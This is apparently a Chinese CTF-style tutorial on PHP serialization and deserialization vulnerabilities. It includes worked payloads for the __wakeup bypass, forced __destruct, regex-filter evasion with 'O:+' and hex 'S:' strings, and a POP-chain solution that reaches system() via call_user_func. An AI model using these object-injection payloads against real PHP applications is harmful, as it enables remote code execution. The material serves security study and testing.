• 二、PHP序列化与反序列化


    一、序列化与反序列化

    1.基础

    解释:序列化与反序列化的好处是可以轻松地存储和传输数据,使程序更具维护性

    1. 序列化(串行化):是将变量转换为可保存或传输的字符串的过程;
    2. 反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用;

    例子:

    class Dino{
        public $name = 'tom';
        public $flag = 'flag';
    }
    $a = new Dino();
    $a = serialize($a);
    print_r($a);//O:4:"Dino":2:{s:4:"name";s:3:"tom";s:4:"flag";s:4:"flag";}
    //O:4:"Dino":2
    //O:对象
    //4:对象名的长度
    //Dino:对象名
    //2:属性个数
    
    //s:4:"name";
    //s:字符串类型
    //4:该变量名长度
    //name:变量名
    
    //s:3:"tom";
    //s:字符串类型
    //3:变量对应内容长度
    //name:变量对应内容
    
    $b = array([1,2,3]);
    $b = serialize($b);
    echo $b;//a:1:{i:0;a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}}
    $c=unserialize($b);
    print_r($c);//输出如下
    (
        [0] => Array
            (
                [0] => 1
                [1] => 2
                [2] => 3
            )
    
    )
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    2.反序列化中常见的魔术方法

    __construct(),类的构造函数
    __destruct(),类的析构函数在脚本执行结束时(在线php不会结束执行所以__destruct不会调用);对象被显式销毁时调用
    __call(),当你尝试调用一个类里面不可访问的方法或不存在的方法时,__call 方法会被触发,例如
    类->any() any这个函数并不存在,此时将会去类里面调用__call方法
    
    __invoke(),它允许一个对象像函数一样被调用。当你尝试以调用函数的方式调用一个对象时,如果这个对象的类中定义了 __invoke 方法,PHP 将会自动调用这个 __invoke 方法
    class CallableClass
    {
        public function __invoke($arg)
        {
            echo "Called with argument: '$arg'\n";
        }
    }
    
    $obj = new CallableClass();
    $obj("Hello"); // 这里调用对象,实际上调用的是 __invoke 方法
    
    __callStatic(),用静态方式中调用一个不可访问方法时调用
    __get(),当试图获取一个类的不存在的或不可访问的(例如,私有的或保护的)属性时,__get 方法会被调用
    __set(),当试图给一个类的不存在的或不可访问的(例如,私有的或保护的)属性赋值时,__set方法会被调用
    __isset(),当对不可访问属性调用isset()empty()时调用
    __unset(),当对不可访问属性调用unset()时被调用
    __sleep(),执行serialize()时,先会调用这个函数
    __wakeup(),执行unserialize()时,先会调用这个函数
    __toString(),类被当成字符串时的回应方法
    __invoke(),调用函数的方式调用一个对象时的回应方法
    __set_state(),调用var_export()导出类时,此静态方法会被调用
    __clone(),当对象复制完成时调用
    __autoload(),尝试加载未定义的类
    __debugInfo(),打印所需调试信息
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    二、序列化与反序列化漏洞例子

    1. __wakeup绕过

    解释:在PHP5 < 5.6.25、​ PHP7 < 7.0.10当中存在当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行

    class Dino{
        public $name = 'tom';
        public $flag = 'flag';
        public  function __wakeup(){
            echo '__wakeup go';
        }
    }
    $a = new Dino();
    $a = serialize($a);
    $a = unserialize($a);//正常反序列化__wakeup被执行打印 '__wakeup go'
    echo $a->name;
    
    $b = unserialize('O:4:"Dino":5:{s:4:"name";s:3:"tom";s:4:"flag";s:4:"flag";}');
    //上面此序列化利用漏洞导致__wakeup没有执行
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    注意:

    class ease{
    
        private $method;
        private $args;
        function __construct($method, $args) {
            $this->method = $method;
            $this->args = $args;
        }
    
    }
    // 上面内容序列化后结果为'O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:8:"ipconfig";}}'
    // 但是php反序列化时只能精确识别, " ease method" 和 " ease args",真正的原因是 PHP 在序列化对象的非公有属性时,会将类名和属性名一起序列化,以保护该属性,想要成功反序列化需要在反序列化字符串中准确指定属性名称(包括类名和空格)。PHP 才能正确地找到并初始化这些属性
    // 正确修改操作是,如果提交base64的内容时,可以先用str_replace修改对象属性个数的值然后直接提交base64编码后的内容(避免自己手动去复制)
    // 正确修改操作是,如果提交url参数的内容时,可以先用str_replace修改对象属性个数的值然后用php自带的urlencode编码一下再去提交(避免自己手动去复制)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    2.__destruct()强制执行

    适用范围:当php在线运行着执行unserialize,其并不会去执行__destruct操作,只有当程序结束,或者我们按照下面的操作才会执行__destruct

    适用版本:较低的php版本

    题目:
    要求:自定义$d的值,使得__destruct能够执行即echo 'success!!';

    class test {
        public $name=50;
        public $passwd=100;
    
        function __destruct()
        {
            echo 'success!!';
        }
    
    }
    $d = '';
    $a = unserialize($d);
    throw new Exception('lose');
    // 简单分析:由throw new Exception('lose');会立马丢出错误,此时可能__destruct并没有立马执行
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    解析:如果看完题目还不能理解,那可能说明还是不太理解__destruct()的含义,在PHP中,__destruct() 是一个特殊的方法,用于在对象被销毁之前执行一些清理操作。当对象不再被使用或显式销毁时,PHP会自动调用 __destruct() 方法。例如:new Test();//__destruct()会等待类里面的内容运行完毕后执行 但是$a=new Test();//__destruct()会等待类里面的内容运行完毕后可能还要等待一会才会执行(因为此时$a可能还可能会被下文用到肯定不会立即去执行销毁程序)(看例子1) 想要强制销毁对象需要显式地调用 unset() 或将对象变量设置为 null,我们下面就介绍对象变量设置为 null(看例子2)

    例子1:

    class test {
        public $name=50;
        public $passwd=100;
    
        function __destruct()
        {
            echo 'success!!';
        }
    
    }
    $d = 'O:4:"test":2:{s:4:"name";i:50;s:6:"passwd";i:000;}';
    $a = unserialize($d);
    sleep(5);
    // echo 'success!!在运行程序后5秒才被打印出来
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    例子2:

    class test {
        public $name=50;
        public $passwd=100;
    
        function __destruct()
        {
            echo 'success!!';
        }
    
    }
    $a = serialize(array(new test(),null));
    echo PHP_EOL.$a.PHP_EOL; // a:2:{i:0;O:4:"test":2:{s:4:"name";i:50;s:6:"passwd";i:100;}i:1;N;}
    // 上面a:2表示有两个元素是array里面的new test(),null
    // {i:0;O:4:"test":2:{s:4:"name";i:50;s:6:"passwd";i:100;}i:1;N;}这个整体就是那两个元素
    // 第一个元素i:0;O:4:"test":2:{s:4:"name";i:50;s:6:"passwd";i:100;}(i:0表示其是第一个)
    // 第二个元素i:1;N;(i:1表示其是第二个)
    $a = str_replace('i:1','i:0',$a);
    $a = unserialize($a);
    throw new Exception('lose');
    // 由上面的例子构造就能打印出success!!(打印了两次,第一次是serialize打印的,我们只关心unserialize时候的)
    // 通过将第二个元素的下标(i:1)改为同第一个test类一样的下标,实现了将类指向了null强制对类进行了销毁
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    3.pop链式调用

    解释:由各种魔术方法触发,如下例子

    题目:

    
    highlight_file(__FILE__);
    error_reporting(0);
    class Happy{
        private $cmd;
        private $content;
        public function __construct($cmd, $content)
        {
            $this->cmd = $cmd;
            $this->content = $content;
        }
        public function __call($name, $arguments)
        {
            call_user_func($this->cmd, $this->content);
        }
        public function __wakeup()
        {
            die("Wishes can be fulfilled");
        }
    }
    
    class Nevv{
        private $happiness;
        public function __invoke()
        {
            return $this->happiness->check();
        }
    }
    
    class Rabbit{
        private $aspiration;
        public function __set($name,$val){
            return $this->aspiration->family;
        }
    }
    
    class Year{
        public $key;
        public $rabbit;
        public function __construct($key)
        {
            $this->key = $key;
        }
        public function firecrackers()
        {
            return $this->rabbit->wish = "allkill QAQ";
        }
        public function __get($name)
        {
            $name = $this->rabbit;
            $name();
        }
        public function __destruct()
        {
            if ($this->key == "happy new year") {
                $this->firecrackers();
            }else{
                print("Welcome 2023!!!!!");
            }
        }
    }
    if (isset($_GET['pop'])) {
        $a = unserialize($_GET['pop']);
    }else {
        echo "过新年啊~过个吉祥年~";
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67

    题解

    
    class Happy{
        private $cmd;
        private $content;
        public function __construct($cmd, $content)
        {
            $this->cmd = $cmd;
            $this->content = $content;
        }
    }
    
    class Nevv{
        private $happiness;
        public function __construct($happiness)
        {
            $this->happiness = $happiness;
        }
    }
    
    class Rabbit{
        private $aspiration;
        public function __construct($aspiration){
            $this->aspiration = $aspiration;
        }
    }
    
    class Year{
        public $key='';
        public $rabbit;
    
    }
    # 首先看题目可知道call_user_func最具有危险,也是我们最后突破的目标
    # 在想清楚pop链条为Year firecrackers->Rabbit __set -> Year __get->Nevv __invoke ->Happy __call
    # 我们开始构造,一般构建时,从前往后,先写Year,但是之后Rabbit __set -> Year __get->Nevv __invoke ->Happy __call一般都是往Year代码上面写,因为Year依赖于它们
    # pop还原第五层
    $happy = new Happy('system','ipconfig');
    # pop还原第四层->需要Happy
    $nevv = new Nevv($happy);
    # pop还原第一层
    $year = new Year();
    $year->rabbit =$nevv;
    # pop还原第二层
    $rabbit = new Rabbit($year);
    # pop还原第三层执行__get的赋值
    $year1 = new Year();
    $year1->rabbit =$rabbit;
    $year1->key='happy new year';
    $content = serialize($year1);
    echo $content. PHP_EOL;
    # 打印url编码的内容
    echo urlencode($content);
    
    //在此还有关于Happy __wakeup是否会影响__call的执行,答案是不会的,理由如下
    //由于firecrackers方法尝试为rabbit属性的wish属性赋值,这会触发对Rabbit对象的__set方法的调用,最终导致__call被动地通过链式调用触发。
    //这一切都取决于unserialize过程中对象属性和方法的实际调用顺序。
    //结论:在__wakeup方法由于die被调用而中止程序执行之前,__call等魔术方法能够因为一系列魔术方法链式调用被触发
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57

    4.反序列绕过正则(数字)

    题目:
    要求:自定义$var的值,使得__destruct能够执行即echo 'success!!';

    class tests {
        public $name=50;
        public $passwd=100;
    
        function __destruct()
        {
            echo 'success!!';
        }
    
    }
    
    $var='';
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
    // 简单分析:只能能够通过正则表达式的验证即可运行unserialize,即可打印success!!
    // /[oc]:\d+:/i ①匹配大小写②[oc]:\d+表示匹配o或者c然后其后面是:(冒号)然后后面跟着数字
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    解析:在PHP里面4与+4都是一样的(如例子1),所以如果serialize的结果是:O:4:'name:0:{};'就可以构造O:+4:'name:0:{};'能够绕过正则(例子2)

    例子1:

    $a = 4;
    $b = +4;
    if($a===$b){
        echo 'success';
    }
    // 结果:success
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    例子2:

    class tests {
        public $name=50;
        public $passwd=100;
    
        function __destruct()
        {
            echo 'success!!';
        }
    
    }
    
    $var = serialize(new tests());//O:5:"tests":2:{s:4:"name";i:50;s:6:"passwd";i:100;}
    $var = str_replace('O:','O:+',$var);// O:+5:"tests":2:{s:4:"name";i:50;s:6:"passwd";i:100;}
    if (preg_match('/[o]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
    // 如上成功构造运行
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    5.反序列绕过正则(字符串)

    题目:
    要求:自定义$var的值,使得__destruct能够执行即echo 'success!!';

    class tests {
        public $name=50;
        public $passwd;
    
        function __destruct()
        {
            if($this->passwd==='admin'){
                echo PHP_EOL.'success!!'.PHP_EOL;
            }
        }
    
    }
    $var = '354passwd354354';
    
    if(preg_match('/passwd/', $var)){
        echo("nonono!!!");
    }
    else{
        unserialize($var);
    }
    // 简单分析:由上面可知,按照正常思路,如果一旦去构造$passwd='admin'那么构造后的内容肯定带有admin和passwd不太好绕过
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    解析:为了解决上面的问题,引出新的知识点,当php序列化后,里面会有一个值's'其表示字符串长度,但其写做'S'(大写的S)其表示后面的字符串会用16进制来解析(这里需要注意在php字符串里面一般\x71这种写法表示16进制\52这种写法表示表示八进制,但是在下面写16进制的时候\71就表示16进制)(例子1)

    例子1:

    class tests {
        public $name=50;
        public $passwd;
    
        function __destruct()
        {
            if($this->passwd==='admin'){
                echo PHP_EOL.'success!!'.PHP_EOL;
            }
        }
    
    }
    //echo serialize(new tests());//O:5:"tests":2:{s:4:"name";i:50;s:6:"passwd";s:5:"admin";}
    // 16 进制构造 
    //O:5:"tests":2:{s:4:"name";i:50;S:6:"\x70asswd";S:5:"\x61dmin";}
    $var = 'O:5:"tests":2:{s:4:"name";i:50;S:6:"\70asswd";S:5:"\61dmin";}';
    if(preg_match('/passwd/', $var)){
        echo("nonono!!!");
    }
    else{
        unserialize($var);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
  • 相关阅读:
    小白一键系统重装系统GHO文件如何下载教程
    JAVA计算机毕业设计在线辅导答疑系统Mybatis+源码+数据库+lw文档+系统+调试部署
    Http请求类型GET, POST, PUT
    C语言练习题解析:挑战与突破,开启编程新篇章!(3)
    spring懒加载
    数据治理之数据标准
    nav2 调节纯追踪算法
    关于假冒我司关联公司进行欺诈活动的严正声明!
    Flask小项目教程(含MySQL与前端部分)
    微信小程序
  • 原文地址:https://blog.csdn.net/weixin_46765649/article/details/134088315